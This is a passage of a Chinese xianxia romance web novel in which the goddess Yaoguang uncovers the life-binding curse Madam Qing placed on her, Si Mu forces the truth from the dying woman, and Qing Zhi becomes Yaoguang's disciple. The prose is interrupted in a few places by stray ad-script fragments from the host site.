季伶听罢,心中不禁掀起惊涛骇浪,他抬头看向瑶光,眼中闪烁着复杂的光芒,问道:“既然大人早就看出晚辈的真身,为何还敢将他们托付给晚辈?” “可能是因为第一天入城的那只乌鸦吧。”瑶光看着季伶单薄孤独的背影似是僵住了一会儿,继续说道:“如果你是想害我的话,就应该暗中监视,等我放松警惕时再将我抓走,而不是我刚入城不久,就派一只乌鸦攻击我,引起我的警觉。” “并且我可以看出,你给妖魔们提供的肉全是牲畜肉,只是你曾故意在上面施法,让妖魔瞧不出端倪罢了。给普通妖魔肉沫,而给狍鸮大块肉食,是因为即使狍鸮能察觉到不是人肉,也无法说出来。其他妖魔只会当它们不知好歹,好掩饰你的计谋。” 半晌后,季伶才缓缓开口:“大人这么说,倒是有些许道理。” 为了缓解气氛,瑶光开玩笑般地说:“哈哈,其实我只是猜的。无论您当初因何事害三生城的百姓陷入困境,但我知您并无害人之心,而且颇为机智。其他被您从小黑屋救出的人,恐怕都已经安全地被您安置在司府的某处了吧。” 忽然,像是想到了什么,季伶神色黯然道:“不完全是。” 不等瑶光深究,他们已行至湖畔。季伶在踏入湖心亭的石桥前停下脚步,一改失落的神情,恭敬地开口道:“大人,到了。师傅已在亭中久候。” 越过季伶,瑶光愈走近湖心亭愈感觉亭中仙气环绕,心中安宁祥和。尤其是亭中人,隐约远远看去,他端坐着在桌前,身形颀长,气质高洁,可见是一名谦谦君子。 坐在亭中的那位必是位修为不浅的仙君。但奇怪的是,天上的仙君怎么会出现在此地? 稍作迟疑,瑶光正欲迈步进入亭中,却听亭内传来一道清朗的声音:“外面站着的莫非是不周山瑶光大人吧?在下季昀之。” 她停下掀开帷幕的手,心中暗忖:难道自报家门是如今人界的规矩吗?司幕公子如此,眼前这位仙君亦是如此。 “昀之仙君好,在下不周山瑶光。”边说着,瑶光边俯身作揖,走进亭中。 季昀之微微颔首,目光柔和如一汪静水:“瑶光大人请坐,喝茶。”就在季昀之凑过身为自己倒茶时,瑶光嗅到阵阵莲花香,想必这茶是上等莲花茶。 走到季昀之面前坐下后,瑶光才得以仔细端详这位昀之仙君的容貌。他并未束发,仅用一根精致的发簪将乌黑的长发一丝不苟地拢在脑后,额间一抹莲花印记格外醒目,其貌俊美,却不媚俗,反而显得清雅脱俗,宛如画中的人物。 “在下先谢过昀之仙君对青稚他们的收留。”瑶光举起茶杯便要朝季昀之敬去,微饮几口,其茶味道香甜无比又略带花香,使饮茶者心旷神怡。 “那些人,是季伶要救的,与我无关,要谢便谢季伶。”季昀之似乎不想谈论这个话题,语气有些许冷淡。 一杯饮尽,瑶光以为是她误入司府的原因惹得他不满,便轻轻放下茶杯,道:“此番在下来司府,也只是在路上碰巧与司幕公子遇到,硬是要跟着司幕公子前来罢了。如若在下有打扰到的地方,在下甚是抱歉,也望仙君不要怪罪于司幕公子。” 季昀之想起司幕,眼中一丝蔑视闪过,但仍语气温和道:“司幕乃我府中人,回乡探亲实属常事,带多一个朋友也无妨。大人不必拘谨。” 看到季昀之提及司幕时态度一般,瑶光心想:果真是远方兄弟,一点儿都不亲近呢。 季昀之取过身旁的壶水沏茶,并为瑶光及自己各倒下一杯,不紧不慢地说道:“六重紫不知何故受了重伤,已启程回魔族重地疗伤了,而三生花林尽毁,秦威见无利可图也已带领一举妖兵离开三生城。三生城以后再无妖孽作祟,城里的百姓们可以放心回去安居了。” “谢仙君的提醒。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 季昀之打趣道:“哦~大人你如此信任我,不怕我骗你?” “关于能力嘛,仙君若是能在六重紫眼皮底下施法将司府隐藏,想必道行定与六重紫不分伯仲。”说着,瑶光侧过头定目看向季昀之,继续道:“关于人品嘛,如此忠于司府,守护这府邸数载,还帮季伶安顿城民,在下自是信得过仙君。” “我人品好?”季昀之笑不漏声,与瑶光对望:“瑶光大人,难道不好奇为何城中妖魔横行,百姓受难,在下却无所作为呢?” 瑶光不假思索道:“未经他人苦,莫劝他人善。仙君想必也有自己的原因。” 季昀之低头不语,心中却唏嘘:这倒确实像是她会说出来的话。 “但昀之仙君,在下倒是有一事好奇。” “大人请讲。” “一入府,在下与同伴皆有入梦,其梦境如真实发生一样,不是往事便是他人经历过之事。请问这是为何?”想起梦中那心中悸动感及手臂疼痛感,瑶光直觉这梦境必定不一般。 听到这,季昀之低咳几声,尴尬地解释道:“因为每时每刻都需要施法维持司府,我的仙气多少有溢出存于空中。当他人处于昏睡状态时,无意间吸入我的仙气就会受到影响,产生自己或他人的回忆之梦。” 他人的回忆之梦? 瑶光直觉有趣。也就是说,可能梦中那些人和事,包括她附身的那朵并蒂莲与她并无关系,却与其他人有关。 但,那又会是谁的回忆呢? “我以后会控制仙气,让各位睡得安稳。”说罢,季昀之拿起茶杯,为了掩饰尴尬将茶水一饮而尽。 瑶光看着季昀之红透的双耳,忍俊不禁,拿起茶壶为他手上的空杯添茶。 倾倒茶水时,瑶光仿佛感觉到远方有人在注视着她,但当她扭头看去时,那里没有人影。正当她分神之际,茶水溢出杯子,热茶烫到了季昀之的手上,流进其袖内。 “嘶。” 季昀之被烫伤,将手一缩,赶紧掀开衣袖,用帕巾擦拭。瑶光回过神看过去,这一看,她看出了些端倪,昀之仙君手上有一条伤痕,似是被利器划伤。一般仙体被这般利器划伤,只需数日便可恢复。倘若伤疤一直都留着的话,便极有可能是未化仙前形成的。 瑶光一言不发地抓住季昀之的手臂细看,姿势甚是不雅。 季昀之脸色通红,赶紧扒开瑶光的手,将衣袖放下,脸红赤耳的斥道:“无礼!” 瑶光抽回手,一脸无辜道:“抱歉,仙君。在下只是一时着急,担心仙君你被烫伤了。” “你......”季昀之看着瑶光,半天憋不出一个字,最后甩袖而去。 瑶光看着季昀之近乎落荒而逃的身影,陷入沉思,心想:难道......之前做的是昀之仙君的回忆? 她回忆起,刚刚身临其境般梦中心中悸动的感觉,边笑边摇头:来仙君真身是并蒂莲,且还有喜欢的人呀。 “对了,忘了跟大人你说一件事了。”季昀之站在通往湖心亭桥的另一边,用仙术传音道:“刚才我看到大人你的右眼底有一道彩线,应是最近有人在你身上施展了上古咒术——同命咒。” “这种咒术只有上古神兽族才传承,使用传世玉为媒介,传世玉一分为二,放传承者精血入传世玉中,一块在施咒者处,一块在被下咒者处。施咒者以命驱动咒术,一旦咒术被触发时,被下咒者便如傀儡般,以保神兽族继承者的性命为重,无视生命代价。” 传音停了片刻,又继续:“但该咒只能触发一次,大人你目前已无咒在身。熬过这一咒,真是不幸中的万幸……” 之后的话,瑶光无心再听,她看着湖里荡漾的水波出了神。 9. 可知浮云晓星沉(三) 在瑶光入神之际,忽觉一股冰冷气息拂过耳畔,激得她猛地一转头。眼前,司幕那如玉雕琢般俊脸赫然映入眼帘。 此时此刻,两人近在咫尺,仅隔寥寥几寸。瑶光仿佛嗅到司幕身上那淡淡的清香,瞬间飞霞扑面。她凝视着司幕,他依旧身着那袭红衣,俊雅的眉目间却流露出一丝破碎感,有些楚楚动人。 周围仿佛静止了般,唯有她急速跳动的心跳声回荡在寂静之中。看来,梦境中的悸动仍未消散。 瑶光强作镇定,别过头去问道:“司幕公子,您怎会在此?” 司幕的声音略显低沉:“碰巧路过。” 瑶光虽不相信这是巧合,却也不好质疑恩人,便转移话题道:“那正好,在下正打算向司幕公子道谢告辞。” 闻言,司幕神色一变,眉头微蹙:“告辞?” 瑶光颔首道:“正是。全赖司幕公子的医术,在下与青稚的伤势已好转许多,实乃大恩。若日后司幕公子有事相求,可发射此穿云箭,我们不周山必鼎力相助。”说罢,瑶光为表诚意,从法袋中取出漆黑的穿云箭递予司幕。这支箭非同寻常,箭尖下方刻有一小型云祥图案,甚是奇特。 司幕接过穿云箭,眼神变得阴郁,手指不停地在箭身上用力摩擦,似乎瑶光一不留神他便要将那穿云箭折断。 “青稚家中还有他母亲及其他百姓,他们都还在等着我们带着被季伶救到府里的各位回去,我们就先行告辞了。”听她提到青稚的母亲,司幕的目光闪过一丝情绪,他盯着瑶光眼中的那缕彩线,目光炽热,令瑶光心头一颤,不禁心虚地用手掩住了右眼。 司幕突然开口:“我陪你们回去。” 瑶光被这突如其来的提议吓了一跳,故作轻松地说道:“司幕公子,你是不是看到我们还没有完全康复,所以才放心不下?” 司幕顺着她的话说:“正是。” 霎时间,青稚率领着数名村民,如同一阵旋风般卷向湖心亭,他们面带喜色,嗓音洪亮,远远便传入了瑶光等人的耳畔:“瑶光!方才昀之仙君派仙鸽传讯,三生城内的妖魔已然尽数诛灭,我们可以离开此地了!我那阿娘在家中想必早已心急如焚,我们速速返回吧!” 待跑近一看,青稚这才留意到瑶光身边的司幕。因司幕帮他治好伤痛,他对司幕颇有好感,心中暗自盘算道:“如今有神医在此,说不定母亲身上的顽疾也能消去不少!”于是,他满怀期待地邀请道:“这位神医想必也是一同经历了这场劫难,不如也随我们一同返回三生城吧!” 还未等瑶光开口婉拒,司幕便抢先应声道:“甚好。” 一出府,眼前便是一辆奢华至极的马车,车身上缀满晶莹剔透的珍珠流苏,随着马车的晃动,发出悦耳的叮当声响,令青稚一行人不禁啧啧称奇。 可当青稚看到马车旁的季伶后,原本的惊叹瞬间转为戒备。他高举手中的皎月刀,直指季伶,厉声喝道:“就知道你不安好心,莫非是担心脏了你师傅的地,所以要将我们赶出府外?” 周围的百姓们见状,也纷纷反应过来,挺直了身板,双手护在胸前,一脸警惕地看着季伶。而季伶则面无表情地望着青稚,一言不发。 “皎月刀?瑶光大人出手真是阔绰。” 就在双方剑拔弩张之际,马车内突然传来季昀之如沐春风般的声音,打破了沉默的僵局。 瑶光见状,连忙借机走到马车前,故作轻松地笑道:“原来昀之仙君也在,与仙君同行,真是我们莫大的荣幸。” 季昀之的声音继续从马车内传出,听起来似乎并没有打算下车迎接的意思,“瑶光大人客气了,只是要委屈在下徒弟做一下马夫了。”言下之意便是季伶是要带青稚他们回去的,而不是来害他们,他们将季伶的一片好心当恶意了。 青稚虽缺心眼儿,但也听出季昀之的意思,可惜他心中对季伶仍存芥蒂,真不知该如何是好。 “阿稚!竟然见到你们了!”熟悉的声音从马车内传出,青稚不敢相信地看向马车,一个憨厚老实的男人缓缓从马车内探出身。 虽然男人消瘦了些许,但青稚还是能一眼认出,惊呼道:“林大人!” 青稚连忙收起刀,冲上前激动地紧抱住下马的林大人,“我看着大人你被季伶抓进小黑屋,本以为会必死无疑,没想到大人你还活着!” 余光中,瑶光看到季伶的身影不明显地晃动了一下。 林大人拍了拍青稚的肩膀,感叹道:“我也没想到还能活着见你们!”说着,林大人特地搂过一旁季伶单薄的肩,让季伶靠近了一点,继续说道:“全靠季伶卧薪尝胆,运筹帷幄,在妖魔底下将我们带了出来,不然我们也无法在妖魔眼皮子底下为救你们做准备。” 听到这一番话,青稚神情复杂地看向季伶,如鲠在喉。 “是啊,本来都筹划好了月底趁妖族举行庆典,妖力松散之际将其他人一同救出。怎知青稚你这好小子,相当英勇,带着神灵大人先把事给办了。”一人说着,见到瑶光站在一侧,一眼就看出她与司幕气质不凡,忙作揖道:“这两位怕就是神灵大人了罢!!谢谢你们来救咱们!” 马车里陆续有人走出,先是之前百姓们说也被抓去小黑屋的赵大哥,再是今日刚被抓不久的袁夫人,还有此前不见的其他百姓。 青稚身后众人见到还活着的各位,喜出望外地放下手中武器,纷纷上前抱住他们。 一人还一改之前的戒备,亲昵地搂过季伶的肩,释怀道:“你这好小子,瞒得我们够深呐。” 面对他人称赞,季伶一言不发,像根木头一样一动不动,只是目不转睛地看着低头不敢看向自己的青稚。 不一会儿,马车中传出季昀之清冷的声音:“你们等到了再叙旧吧,再不走就天要黑了。” 季昀之话一出,大家看了看天,着实夜色渐近,都纷纷拱让,上了马车。 既来之则安之,本在旁观的瑶光见司幕仍站在原处不为所动,便拉过他的手,一起上马车。期间,拉过手时,瑶光感觉司幕似乎僵了一下,随即又恢复正常。 一走进马车,瑶光便感叹不已。本以为马车外看已是奢华至极,怎知马车内别有洞天,比其外观看来大了不止数倍。马车内如一居室,由一帘分其为二,帘前乃待客之处,有一木桌及数木凳围绕,外加木椅在两旁,可容纳数十人。而帘后则是私人之地,有一案台可做书写品茶之用。案台后更是有一张可容纳二人的丝绒软榻,及软榻旁屏风隔开的淋浴间。 欲一探究竟的瑶光拉着司幕的手,掀开帘子,一起坐到在案台后淡定饮茶的季昀之身旁,毫不掩饰对该马车的赞叹:“昀之仙君这马车甚妙啊!坐该马车出门游玩岂不让人流连忘返?” 季昀之瞥了一眼沉默的司幕,浅笑道:“是呀,建该马车的人着实有心。” 问者无心,答者有意,司幕眼神如利刃般直射季昀之。 见此状况,瑶光不禁想,这昀之仙君与司幕公子,比起旧相识怎更像是旧敌? 马车内针锋相对,然而在马车的另一头却又是一番景象。 自打登上马车,青稚便瞧见了那些他原以为已被季伶残害的府衙捕快与寻常百姓,心中既是欢喜万分,又涌起一股莫名复杂的情绪。他静静地聆听着他们讲述如何逃出生天,如何筹谋反击,只觉如坠梦境,不可置信。 “各位,到了。”就在青稚仍沉浸在他万千思绪中时,马车缓缓停下。 与此同时,车外传来阵阵喧哗之声。 “是叛徒季伶!” “他这是带着妖魔来歼灭我们吗?” “大家快拿起武器, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我们跟他们同归于尽。” 人群中,一个孩童趁着季伶不注意,捡起一块石头便朝他头上砸去。虽力道不大,却在季伶额头上划出一道血痕。就在另一块石头即将砸中季伶之时,马车中忽然飞出一道身影,那石头竟在空中诡异地停滞片刻,随后无力地坠落在地。 见到是法术。百姓们都以为是妖魔,就在他们惊慌之时,瑶光冲出马车喊道:“各位请停下!季伶其实是自己人,不信你们看。”说着,瑶光侧手掀开车帘,陆续走出的林大人以及其他百姓。 霎时之间,方才还剑拔弩张、针锋相对的百姓们,竟皆喜极而泣,纷纷放下手中的兵器,争先恐后地冲上前去,与林大人一行人紧紧相拥。 本还在与弟弟叙旧的赵大姐,瞅到看到走在最后失魂落魄的青稚,匆忙走上前去把青稚拉走,着急地喊道:“青稚你回来就好!你娘快不行了!” 这一喊,让青稚马上清醒,直奔屋内。 “娘!” 踏入青夫人的房里,青稚映入眼帘的是一张惨白如纸的脸庞,病弱的身躯无力地倚靠在床榻之上。他心如刀绞,一个箭步冲上前去,紧紧地握住青夫人那枯槁无力的纤手,仿佛下一刻便会失去这唯一的温暖。。 听到青稚的声音,青夫人缓缓侧过头,抬起颤抖的手,想要抚摸青稚的脸颊,拭去他眼角的泪珠,却因病力缠身而显得格外吃力,声音断断续续地说道:“阿……稚……,你……回来了……,就好……。” 紧跟上的瑶光一进门看到一幕母慈子孝的场面,心中如针扎般刺痛,脱口而出:“青夫人……” 青夫人听到瑶光的呼唤声,脸上依旧挂着那抹慈祥的笑容:“瑶光……大人……,咳咳,谢谢你……。” 瑶光心不在焉地应着,脑海中想起昀之仙君早前说的话,‘下咒者以命触发咒术’。她看向青夫人,想起当初以为青夫人表达善意赠予的玉佩,以及青稚交给她的包袱,心中不禁自嘲自己当初的天真。 “咳咳......”青夫人一阵剧烈的咳嗽,竟咳出了丝丝血迹。 青稚看到青夫人手上咳出的鲜血,顿时慌了神,手忙脚乱地为青夫人擦拭血迹,同时眼神焦急地在人群中扫视,似乎在寻找着什么救命稻草。 片刻之后,他穿过人群,看到了站在角落里默默观望的司幕和季昀之,仿佛看到了希望一般,满面泪痕的青稚冲上前去。途中不慎摔倒,却也顾不得疼痛,狼狈地爬起身,紧紧抓住司幕的裙摆,哀求道:“神医,仙君,求求你们救救我娘?” 季伶心疼地看着青稚,正想俯身将其扶起,却被青稚不留痕迹地轻微躲闪了过去。看着落空的手,季伶神情落寞地收回,眼中闪过一丝不易察觉的失落。 司幕将目光投向了一旁怔怔出神的瑶光,他说:“我可以试试看,但是需要清净。” “好!”青稚闻言,感激地抹了抹脸上的泪水,连忙将司幕请入屋内,与众人在屋外焦急地等待。 屋门砰地一声关上,司幕一反常态,阴沉着脸,一步步逼近青夫人,声音如淬了寒冰般冷冽:“夫人好手段,竟敢施咒于神灵为你儿子以命挡命。” 杀气扑来的刹那,青夫人虽然目不可视物,但也能听出司幕来者不善,故作起镇定的样子,“为妇不懂神医您的意思。” 司幕轻蔑地勾起嘴角,“同命咒一旦施下,施咒者掌心便会显现一道彩线。” 见下咒之事被揭穿,青夫人心虚地将左掌藏在袖中,辩解道:“神医,妾身也是爱子心切,一时糊涂才……” “爱子情切无错,错就错在你害她陷入苦境。她只能死在我手里。”司幕眉目间戾气横生,猛地伸出左手。修长白皙的手指一合拢,青夫人便如被掐住咽喉般,陷入窒息,痛苦难耐。 “说!此咒怎解!” 10. 可知浮云晓星沉(四) “说!此咒怎解!” 等候在屋外的瑶光心生不安,感应到屋内传来一股诡异的气息。她担心两人安危,欲要闯入,却被拦住。 “昀之仙君?”瑶光惊讶地看着眼前之人。 季昀之凑近瑶光,在她耳边低声道:“这是司幕清除青夫人身上的病症所致。放心,有司幕在,一切都会没事的。” 其实季昀之是骗她的。他清楚地知晓,司幕此刻正逼问青夫人有关咒术之事。如今瑶光身上的咒术并非如他所说已解,只要她眼中彩线一日不消,咒术便一日未解。 神与仙不可伤及凡人,否则必遭天罚。 他本身对咒术一窍不通,以仙君的身份更无法质问青夫人,或许只有司幕才能一试。 瑶光听后,心中稍安,但仍难免担忧,目光锁在那屋中不曾移开。 而与此同时,屋内,司幕眼眸萤光流转,凤目森冷,神态狠戾,宛如来自阴间的索命厉鬼。若非青夫人目不可视,见者必定会被吓得不见了三魂七魄。 “呃......下咒者……一死,咒术便……自动……..除…….”青夫人艰难地吐出几个字,声音虚弱而颤抖。 看着青夫人因窒息而痛苦到发紫的脸,司幕心无波澜,恨不得她立刻死去,好解瑶光身上的咒。但一想到瑶光刚刚看着青夫人时,破碎不堪的模样,他还是放开了手。 “咳!咳!”本就病重的青夫人被司幕这番威吓折磨得病情更加严重,目光逐渐涣散。在她弥留之际,司幕冰冷的声音,如同毒蛇一般传入她耳中。 “本座确实可救你,但你因自私而害她,因果报应,死有余辜。”言罢,司幕扬起衣摆,快步走向门外。 一出门,他仿佛换了一个人,恢复了之前翩翩公子模样,看向青稚,平静道:“青夫人此前受了外伤,缺乏调养,已回天乏术,节哀顺变。” “怎么会!!!怎么会!!!” 司幕的话如惊雷般炸响在青稚耳畔,震得他猝不及防,脑海一片空白,全身止不住地颤抖。他仿佛被一股无形的力量驱使,猛地推开司幕,跌跌撞撞地冲进屋内。 映入眼帘的是躺在床榻上奄奄一息的母亲,青稚脚步戛然而止,泪如决堤,声音颤抖着:“这……这不可能……这不是真的……”他呆滞地望向随后进来的瑶光,失魂落魄地问道:“瑶光,告诉我,这只是一场梦,对吗?” 瑶光还没来得及安慰,青稚便眼前一黑,晕倒在地。幸亏一旁的季伶眼疾手快地扶住他,眼中满是掩饰不住的怜惜。 青夫人意识模糊,目光涣散地望向门口,口中呢喃着:“……原谅……我……” 听着她虚弱的叫唤,瑶光站在冷风中久久伫立,心中五味杂陈。她心中既有对青夫人所作所为的愤怒,又有对这位可怜母亲的怜悯。 终于,仿佛下定了决心般,她缓缓走向青夫人床边。“青夫人,请你放心,我会照顾好青稚。”她缓缓开口,声音清冷却坚定,仿佛在宣告着自己的誓言,“但这不是因为你,而是因为青稚是我的朋友。” 瑶光斩钉截铁,不带一丝犹豫和彷徨,如同决绝的宣判:“安息吧。” 说罢,她便头也不回地转身离去,步伐匆匆,仿佛身后是恶鬼地狱,急于逃离这令人窒息的压抑。阵阵哀悼声在她耳边回荡,却无法阻挡她决绝的脚步。 离开木屋后,瑶光如行尸走肉般漫无目的地游荡在山间,魂不守舍,连脚下的路都模糊不清。不知不觉间,夜幕降临,四周陷入寂静,她竟不知身处何方。 清澈的河水潺潺流淌,皎洁的月光洒落下来,波光粼粼。 她恰好走到一条小河边,缓缓坐下。沉默许久,终于忍不住开口,声音沙哑地喊道:“出来吧。” 微风轻拂,树影婆娑,一袭红衣从树后现身。 “瑶光姑娘。”司幕轻声走到她身后,生怕惊扰到她。 “多谢司幕公子一路上的陪伴。”瑶光心中郁结,无意与他虚与委蛇,“可惜我此刻心情烦闷,无心与公子赏月畅谈。” 司幕淡淡道:“无碍。景色之美,观赏即可。” 瑶光不禁莞尔一笑,心想:说得也是,如此美景若不欣赏,岂不是暴殄天物? 瑶光从法袋中掏出两壶玉饮,一壶放怀里,一壶放身边,轻启朱唇:“有此夜色相伴,怎可不小酌一番?人生之乐,不过于对酒当歌。” 司幕心有灵犀般上前拿起地上的玉壶,坐到瑶光身边。 夜色如墨,星河璀璨,瑶光与司幕并肩而坐,月光洒落在两人身上,为他们披上一层银辉。 瑶光潇洒随性地率先将玉饮大口饮下,饮后直呼畅快,如清泉般滑落喉咙,涤荡着胸中烦闷。 反观司幕摇晃着手中的玉壶,看似没有喝的想法,只是看着瑶光一言不发。瑶光感受到司幕注视的目光,回望过去,朝司幕击壶,又饮下一口,“看着我干嘛?喝呀,司幕公子。” 司幕瞧见瑶光一口又一口地豪爽饮下,溢出嘴角的玉饮顺颌而下,他猛地转过头,看了看手中玉壶也灌了自己一口,结果却被呛到:“咳咳。” “司幕公子,你连酒都不会喝吗?”在一旁观看的瑶光忍不住笑了出声,两眼弯弯,娇俏动人。 被瑶光嘲笑,司幕也不恼,反而令他眼神中流露出一丝复杂的情绪,仿佛看到了某人往昔的影子,久久舍不得移开自己的视线。 “其实,这还是我初次品酒。”瑶光似是陶醉于酒香之中,晃着手中的玉壶,徐徐开口:“不周山严禁私藏酒水,这玉酒是我趁着庆典之际,从那讨厌的花仙子处偷来的。自有意识以来,我便一直潜心修炼,从未离开过不周山半步。对于许多事物,也只是在书中或从白冕口中听闻过。” 说着,她自嘲一笑:“当初白冕同我说人间险恶,我还不以为然,是我太天真了。五百年之期将至,若如此下去,灰飞烟灭不过是必然。” “或许......我还活不过那时候。” 瑶光字字句句透着辛酸,司幕听得心中波澜起伏。 “而这次下山渡劫,三生城是我第一次到达的地方。青稚一家是我下山以来第一认识的人族,青稚虽固执冲动,但心地纯良,是个孝子;青夫人更是和蔼可亲,对我甚好。我本以为......”瑶光说到一半,突然停顿了下来。 扑通一声,一滴泪水悄然滑落,坠入河水中 “明明知道她是在利用我,但我却恨不了她。她有她的苦衷,只怪我,入世未深,太容易相信他人。”瑶光借风沙之名,用衣袖擦去了眼泪,“哎呀,晚风凛冽,竟将沙土吹进了我眼里。” 河水面上映出瑶光眼眸,如一汪清泉,在月光的照耀下闪着微光。她脸上挂着泪痕,而司幕则静静地陪伴在她身旁,想要伸手拭去她的泪水,却又怕惊扰了她。 似是喝多了的瑶光感到有些头晕,竟又哈哈大笑:“我怎么会这么能喝呢?也许前世我就是个酒鬼吧......” 随后, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 瑶光又嘀咕了几句,便迷迷糊糊地靠在司幕的肩上睡去了。 而过了许久,待确认瑶光是真的睡过去之后,司幕才悄悄将她挪到让她睡得最安稳的姿势,并同时施术清去她体内的酒气。 轻轻地抚摸着她的脸颊,司幕悄悄擦去了她脸上的泪痕,望着瑶光的目光像最深的湖水,盛满深情,满满当当,似欲溢出来般。 “胡说,你以前并不喜酒。” …… 话本上常言,饮酒伤身,但瑶光醒来时却并未感到丝毫的不适,反而觉得身心舒畅,只是双眼略涩。 瑶光抬眸一看,一觉醒来,天色依旧昏暗。她察觉自己的枕在司幕膝上,顿时飞霞扑面,悄悄地将自己抽离,轻轻板正身子。 睹向身旁端坐着一动不动的司幕,瑶光心忖,难道司幕公子竟一直保持着这个姿势陪她坐了一整夜? 她抬起手在司幕面前晃了晃,想看他是否还熟睡,一股蓝烟却在此时在她指尖环绕。慢慢地,南海梦蝶显露真形,并轻轻地落在了司幕的鼻尖之上。 白冕曾说过,跟着南海梦蝶,便能找到答案。可是,如此俊美无双的司幕公子,与她渡劫之事,怕是风马牛不相及,毫无关联,应当是南海梦蝶看到美男子忍不住现身流连罢了。 没想到传说中的南海梦蝶也是个花痴。 瑶光心生好奇,想要触碰梦蝶,手腕却被一把抓住,南海梦蝶惊飞而去,消失不见。 “瑶光姑娘,怎么了?” 两人此时大眼瞪小眼,靠得极近。 明明已酒醒,瑶光却仍脸色酡红。她收回了手,装作若无其事地站了起来,“无事。”怕被司幕看到自己脸红耳热,她连忙转身,背对着他,道:“既然司幕公子也醒了,我们便起身返回吧,青稚他们怕是担心许久了。” 然而,好一会儿过去了,瑶光仍然听不到司幕起身。她回头一看发现司幕还是维持着之前的姿势。 瑶光惊愕,转身走到司幕身旁蹲下,“司幕公子,是不是因为久坐血液不畅,双腿发麻,无法起身?” 司幕一怔,故作镇定道:”是,看来只能劳烦瑶光姑娘了。“ 想到他是因为让自己靠在他身上才身麻,无法起身,瑶光心中感动,奇怪的感觉贯穿瑶光心扉。 不可胡思乱想! 瑶光甩头将异样的思绪抛之于脑后,平复好心绪后,小心翼翼地搀扶着司幕继续前行。 他们走了许久,久到东边已渐渐泛起鱼肚白,微风拂过,两人之间仿佛弥漫着丝丝缕缕的甜意。 隐约间,瑶光听到远处传来孩童们欢快的笑声。她循声望去,是一群穿着朴素衣衫的孩子们在田野上奔跑。他们不断地奔跑着,像是在追逐阳光,追逐风。手中的罩衫在风中飘动着,似乎是在诉说着他们刚获得的自由,笑声如银铃悦耳,在晨曦中回荡。 还未等他们靠近木屋,瑶光就看到青稚笔直地站在门前,神情肃穆。司幕也察觉到了异样,不由自主地将手臂从她怀中抽离。 他披麻戴孝,独自在那儿,如湖中孤舟。 他双眼通红,看到瑶光后,立刻跪倒在地,举起手中的茶水,声音哽咽道:“师傅,请受徒儿一拜。” 瑶光静静地凝视着青稚许久,就在大家都以为她是在思考如何拒绝的时候,她大步上前,接过他手中高举的拜师茶,一饮而尽。 饮罢,少女嬉皮笑脸,道:“好呀,小徒弟,跟了你师傅我,包你吃香的喝辣的。” 11. 上京桂香宣阳莲(一) 拜师之后的第一件事,便是青稚请求瑶光助他报仇。 但即使不用他提,瑶光也会做,只因斩杀妖魔是神族职责。 一行人循着狍鸮的粪便追踪秦威的踪迹,翻山越岭,历经数日,终于抵达了一条宽阔的分叉官道。然而,就在众人准备继续追查时,狍鸮的踪迹却戛然而止,线索也随之消失无踪。 瑶光翻身下马,正欲推断下一步的行动方向,却突然听到身后传来一阵咕噜咕噜的声响。她回眸望去,只见青稚正蹲坐在官道边,紧紧地压抑着饥饿的腹鸣,侧过头,咬紧唇道:“别管我,追秦威要紧。” 她莞尔道:“秦威跑不远的,既然答应了你带你吃香的辣的,我决不食言。”抓捕秦威刻不容缓,但让青稚饱腹亦是当务之急。 虽然是这么想着,但瑶光尴尬地看向自己的百宝法袋,里面的神奇宝物琳琅满目,却无一件能果腹充饥。身为神灵,她恪守天条,不可随意杀生,这让她有些为难。 思忖片刻,她莲步轻移,走向马车,掀开车帘,只见季昀之正闭目养神,似是极为疲惫。她笑着试探道:“想必看守前三生城首富府邸的昀之仙君,手中定然积蓄了不少财帛。若仙君肯慷慨解囊,日后瑶光必当如数奉还。” “钱财乃身外之物,本仙君亦无需果腹,自是......”季昀之缓缓睁开双眼,因数百年没有离开过司府,对外界极其不适应,此刻正躺在床榻上昏昏欲睡,没有力气搭理瑶光,便有气无力道:“......没有。” 瑶光扶额叹息,果然是无欲无求的仙君,视钱财如粪土,出门儿都不带银钱的。 转念一想,她又好奇地问道:“那既然昀之仙君如此无欲无求,怎会随咱们一路追杀妖魔不看守司府了呢?难道......” 季昀之瞄了一眼马车外的青稚,慢悠悠道:“要不是本仙君那心思单纯的小徒弟硬是要跟着你们,本仙君怕他被某人欺负去,才懒得管你们。” ——这仙君有偏见呀。 恰巧又一阵风拂过,马车顶上的珍珠铛铛响。瑶光灵机一动,双臂环胸道:“这车里的东西想必都价值不菲吧?” 季昀之闻言,顿时精神起来,大喊:“你敢!” 瑶光被他的反应吓了一跳,心虚地摸了摸鼻子,低咳几声走开了。 她随即拉过季伶,悄悄问道:“季伶,你在三生城这么多年,应该也有些积蓄吧?” “大人,在下自小便靠城中大家略施善恩长大,身上并无多少钱财。”说着,季伶看了一眼不远处的青稚,从兜里掏出个包子递给瑶光,低眉垂目道:“在下身上倒是有个包子,劳烦大人给青稚罢。” 季伶不需要面食,这个包子怕是他给青稚备着的。 瑶光看着季伶那小媳妇受气似的模样,叹了口气,接过了包子递给青稚。青稚却毫不领情,将她的手推开。瑶光手没拿稳,包子“噗”地一声掉落在地。青稚顿时手足无措,侧过头,不敢正视季伶。 “嘿,你这臭小子。” 瑶光低咒一声,连忙捡起包子。抬头时,却见季伶一脸黯然神伤,满怀歉意地擦了擦包子上的泥土,咬了一口,称赞道:“嗯,这包子真好吃,是季伶做的吧?手艺真不错。” 季伶扯了扯嘴角,勉强勾起一抹笑,却如风中残柳般无力 青稚见瑶光吃得津津有味,肚子也不争气地开始咕咕叫唤,瑶光心中不忍,终究还是迈步走向倚靠车壁闭目养神的司幕。 然而,她还没来得及开口,司幕便慢慢睁开双眸,动作轻柔地从怀中取出几颗珍珠,毫无吝啬地递到她面前。 “在下身上有几颗深海明珠,不知能否帮上忙?” 瑶光怔愣地望着眼前莹润剔透的珍珠,指尖轻轻抚过,感受着其细腻的触感和微微闪烁的光泽,嘴角终于扬起一抹灿烂的笑意。她将珍珠小心收纳进法袋,朝司幕俏皮地眨了眨眼:“谢谢司幕公子!有了这些宝贝,赚钱自然不在话下。事成之后,瑶光定当加倍奉还!” 还不等司幕作反应,她便轻盈地走到官道中央,拦住一辆缓缓驶来的牛车,礼貌地问道:“大叔,请问附近可有城镇呢?” 